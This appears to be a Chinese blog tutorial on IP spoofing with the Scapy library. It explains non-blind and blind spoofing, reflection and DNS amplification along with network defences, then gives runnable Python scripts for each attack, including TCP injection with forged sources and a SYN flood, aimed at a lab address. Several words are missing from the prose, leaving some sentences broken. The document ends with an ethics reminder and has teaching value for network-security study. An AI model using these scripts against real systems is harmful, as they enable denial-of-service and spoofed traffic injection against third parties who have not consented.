使用 Scapy 库编写 IP 地址脚本

本文涉及的产品
全局流量管理 GTM,标准版 1个月
公共DNS(含HTTPDNS解析),每月1000万次HTTP解析
云解析 DNS,旗舰版 1个月
简介: 使用 Scapy 库编写 IP 地址脚本

一、介绍

1.1 概述

IP地址(IP Spoofing)是一种网络技术,者伪造其数据包的源IP地址,使其看起来像是从其他合法地址发送的。这种技术常用于各种中,例如DDoS攻击、Man-in-the-Middle(MITM)和拒绝服务(DoS)等。

1.2 原理

IP地址的核心在于能够创建带有伪造源IP地址的IP数据包。当目标系统接收到这些数据包时,会误以为它们来自合法的来源,从而执行预期的操作。由于IP协议本身并不验证数据包的源地址,这种变得相对容易实现。

1.3 具体类型

  1. 非盲(Non-blind Spoofing)
  • 能够看到目标系统和合法来源之间的通信。通过截获和分析数据包,可以伪造合法的IP地址并插入恶意数据包。
  1. 盲欺(Blind Spoofing)
  • 无法看到目标系统和合法来源之间的通信,只能猜测数据包的内容和序列号。盲欺通常用于攻击需要少量数据包的协议(如ICMP和UDP)。
  1. 反射(Reflection Attack)
  • 伪造数据包的源IP地址,使其看起来像是来自目标系统,并将这些数据包发送到第三方服务器。第三方服务器会将响应数据包发送到目标系统,形成反射。
  1. 放大(Amplification Attack)
  • 类似于反射,但利用能够产生大响应的数据包服务(如DNS和NTP),使目标系统收到大量响应数据包,从而导致资源耗尽。

1.4 防御措施

  1. 反向路径转发(Reverse Path Forwarding, RPF)
  • 在路由器上启用RPF检查,确保数据包的源地址与预期路径匹配。若不匹配,则丢弃数据包。
  1. 访问控制列表(ACL)
  • 在网络设备上配置ACL,限制哪些IP地址可以发送数据包到特定的网络资源。
  1. 检测和防御系统(IDS/IPS)
  • 部署IDS/IPS,实时监控网络流量,检测并阻止异常的流量模式和伪造的数据包。
  1. 网络防火墙
  • 配置防火墙规则,过滤异常的IP地址和不合法的源IP地址。
  1. 网络分段
  • 使用虚拟局域网(VLAN)技术将网络分段,减少影响范围。

二、实验环境

受害者:192.168.134.148

三、实操演示

3.1 非盲(Non-blind Spoofing)

在非盲中,能够看到目标系统和合法来源之间的通信,因此可以伪造合法IP地址并插入恶意数据包。

实验步骤:

  1. 设置环境
  • 设备能够嗅探目标设备的通信。
  • 使用Wireshark或类似工具观察目标设备和合法来源之间的通信。
  1. 捕获合法数据包
  • 捕获目标设备和合法来源之间的通信,特别是TCP连接建立过程(SYN, SYN-ACK, ACK)。
  1. 插入伪造数据包
  • 使用Scapy构造带有合法序列号和确认号的TCP数据包。
from scapy.all import *
from scapy.layers.inet import TCP
 
 
def non_blind_spoofing(target_ip, spoofed_ip, target_port, seq_num, ack_num):
    packet = IP(src=spoofed_ip, dst=target_ip) / TCP(sport=12345, dport=target_port, seq=seq_num, ack=ack_num, flags="PA") / b"Non-blind spoofing attack"
    send(packet)
 
 
if __name__ == "__main__":
    target_ip = "192.168.134.148"  # 目标系统的IP地址
    spoofed_ip = "192.168.1.1"   # 伪造的源IP地址
    target_port = 80             # 目标系统开放的端口
    seq_num = 1000               # 合法通信中捕获的序列号
    ack_num = 1001               # 合法通信中捕获的确认号
    non_blind_spoofing(target_ip, spoofed_ip, target_port, seq_num, ack_num)

这里的话其实开两台主机通信效果最明显

3.2 盲欺(Blind Spoofing)

在盲欺中,无法看到目标系统和合法来源之间的通信,只能猜测数据包的内容和序列号。这里使用ICMP协议进行简单的盲欺骗示例。

实验步骤:

  1. 发送大量伪造SYN数据包
  • 使用Scapy发送大量带有伪造源IP地址的SYN数据包。
from scapy.all import *
import random
from scapy.layers.inet import TCP
 
 
def blind_spoofing(target_ip, target_port):
    for _ in range(100):  # 发送100个伪造的SYN数据包
        spoofed_ip = "192.168.1." + str(random.randint(1, 254))
        packet = IP(src=spoofed_ip, dst=target_ip) / TCP(sport=random.randint(1024, 65535), dport=target_port, flags="S")
        send(packet)
 
 
if __name__ == "__main__":
    target_ip = "192.168.134.148"  # 目标系统的IP地址
    target_port = 80             # 目标系统开放的端口
    blind_spoofing(target_ip, target_port)

3.3 反射(Reflection Attack)

反射利用中间服务器(反射器)将数据包反射回目标系统。伪造数据包的源IP地址,使其看起来像是来自目标系统,并将数据包发送到第三方服务器。

from scapy.all import *
from scapy.layers.inet import ICMP
 
 
def reflection_attack(target_ip, reflector_ip):
    # 发送多个ICMP Echo请求包
    for _ in range(10):  # 发送10个反射攻击包
        packet = IP(src=target_ip, dst=reflector_ip) / ICMP() / b"Reflection attack"
        send(packet)
        print(f"Sent packet to {reflector_ip} with spoofed source {target_ip}")
 
 
if __name__ == "__main__":
    target_ip = "192.168.134.148"  # 目标系统的IP地址
    reflector_ip = "192.168.134.147"     # 反射器的IP地址,例如公共DNS服务器
    reflection_attack(target_ip, reflector_ip)

3.4 放大攻击(Amplification Attack)

放大利用能够产生大响应的数据包服务(如DNS和NTP),使目标系统收到大量响应数据包,从而导致资源耗尽。以下示例展示了如何通过伪造源IP地址来实现DNS放大。

from scapy.all import *
from scapy.layers.dns import DNS, DNSQR
from scapy.layers.inet import UDP
 
 
def amplification_attack(target_ip, dns_server_ip):
    # 构造DNS查询请求
    dns_request = IP(src=target_ip, dst=dns_server_ip) / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname="www.hubstc.com.cn"))
    for _ in range(10):  # 发送10个放大攻击包
        send(dns_request)
        print(f"Sent DNS request to {dns_server_ip} with spoofed source {target_ip}")
 
 
if __name__ == "__main__":
    target_ip = "192.168.134.148"    # 目标系统的IP地址
    dns_server_ip = "192.168.134.147"      # 公共DNS服务器的IP地址
    amplification_attack(target_ip, dns_server_ip)

四、注意事项

  1. 合法性和道德规范:确保在合法和授权的环境中进行实验,不得在未经授权的网络上进行IP地址实验。
  2. 网络隔离:确保实验网络与生产网络隔离,避免对实际业务造成影响。
  3. 监控与恢复:实验过程中实时监控网络和系统状态,实验结束后立即停止攻击工具,并确保系统恢复正常。
相关实践学习
通过Ingress进行灰度发布
本场景您将运行一个简单的应用,部署一个新的应用用于新的发布,并通过Ingress能力实现灰度发布。
容器应用与集群管理
欢迎来到《容器应用与集群管理》课程,本课程是“云原生容器Clouder认证“系列中的第二阶段。课程将向您介绍与容器集群相关的概念和技术,这些概念和技术可以帮助您了解阿里云容器服务ACK/ACK Serverless的使用。同时,本课程也会向您介绍可以采取的工具、方法和可操作步骤,以帮助您了解如何基于容器服务ACK Serverless构建和管理企业级应用。 学习完本课程后,您将能够: 掌握容器集群、容器编排的基本概念 掌握Kubernetes的基础概念及核心思想 掌握阿里云容器服务ACK/ACK Serverless概念及使用方法 基于容器服务ACK Serverless搭建和管理企业级网站应用
相关文章
|
2月前
|
Linux Python
Python获得本机本地ip地址的方法
【10月更文挑战第8天】 socket模块包含了丰富的函数和方法,可以获取主机的ip地址,例如gethostbyname方法可以根据主机名获取ip地址,gethostbyname_ex方法可以获得本机所有ip地址列表,也可以使用netifaces模块获取网卡信息。
53 0
|
5月前
|
监控 安全 网络安全
使用 Scapy 库编写 ICMP 时间戳脚本
使用 Scapy 库编写 ICMP 时间戳脚本
使用 Scapy 库编写 ICMP 时间戳脚本
|
5月前
|
监控 安全 网络安全
使用 Scapy 库编写 ICMP 不可达脚本
使用 Scapy 库编写 ICMP 不可达脚本
|
5月前
|
监控 网络协议 算法
使用 Scapy 库编写 TCP脚本
使用 Scapy 库编写 TCP脚本
|
5月前
|
网络协议 安全 Shell
`nmap`是一个开源的网络扫描工具,用于发现网络上的设备和服务。Python的`python-nmap`库允许我们在Python脚本中直接使用`nmap`的功能。
`nmap`是一个开源的网络扫描工具,用于发现网络上的设备和服务。Python的`python-nmap`库允许我们在Python脚本中直接使用`nmap`的功能。
|
5月前
|
监控 网络安全 Perl
使用 Scapy 库编写 Ping of Death 脚本
使用 Scapy 库编写 Ping of Death 脚本
|
5月前
|
监控 安全 网络协议
使用 Scapy 库编写 ICMP 重定向脚本
使用 Scapy 库编写 ICMP 重定向脚本
|
7月前
|
网络协议 安全 网络安全
使用 Scapy 库编写源路由攻击脚本
使用 Scapy 库编写源路由攻击脚本
|
7月前
|
监控 安全 网络安全
利用 Scapy 库编写 Teardrop 脚本
利用 Scapy 库编写 Teardrop 脚本
|
7月前
|
存储 缓存 监控
使用 Scapy 库编写 ARP 拒绝服务脚本
使用 Scapy 库编写 ARP 拒绝服务脚本